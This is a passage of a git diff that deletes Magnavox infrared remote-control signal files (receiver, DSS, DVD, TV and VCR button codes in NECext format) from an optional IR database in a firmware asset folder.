05 00 00 00 -command: 0B 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: BAL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: TAPE_1_(7) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: VCR_1_(1) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: PATH -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 13 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: CNTR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: TAPE_2_(8) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: VCR_2_(2) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: THX_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: PRO_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: STEREO_(FORM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: MONO_S_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: S_OFF_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: MONO_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: MAIN_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: REMOTE_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: BOTH_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: RECORD_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: OPERATE_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: STANDBY_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: MUTE_ON_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: MUTE_OFF_(FROM_PAV) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir deleted file mode 100644 index f2de87bee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 3 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 0C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 0E 00 00 00 -# -name: THEME -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 11 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 12 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 14 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 15 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 16 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 1D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 1D 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 1E 00 00 00 -# -name: TV/DSS -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 40 00 00 00 -# -name: ALTERNATE_AUDIO -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 41 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 42 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 43 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 44 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 45 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 47 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 4C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 4D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 4E 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 53 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 54 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 55 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 3F 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir deleted file mode 100644 index 312a14887..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZOOM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: PLAY_/_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5D 00 00 00 -# -name: RETURN_/_TITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir deleted file mode 100644 index 46bd1bc79..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 41 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 43 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 44 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 45 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 46 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 47 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 48 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 49 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 52 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 52 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 55 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 57 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 58 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5B 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5C 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5E 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5F 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 60 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 70 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 71 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 72 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 73 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 74 00 00 00 -# -name: AAROW_LEFT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 75 00 00 00 -# -name: AAROW_RIGHT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 76 00 00 00 -# -name: AAROW_UP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 77 00 00 00 -# -name: AAROW_DOWN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 78 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 79 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7B 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir deleted file mode 100644 index 424a491a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: MENU_DISC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: MENU_SYSTEM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: PREVIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir deleted file mode 100644 index d16c853fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 35 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 3F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 45 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 48 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 49 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 52 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 53 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5B 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5E 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 60 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 71 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 72 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 73 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 74 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 75 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 76 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 77 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir deleted file mode 100644 index b74914823..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: SMART -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir deleted file mode 100644 index c16f15d90..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: Reset -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: Status -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir deleted file mode 100644 index e35207149..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: PWR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: VAR._SLOW_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: VAR._SLOW_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: X2_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: CLEAR -type: parsed 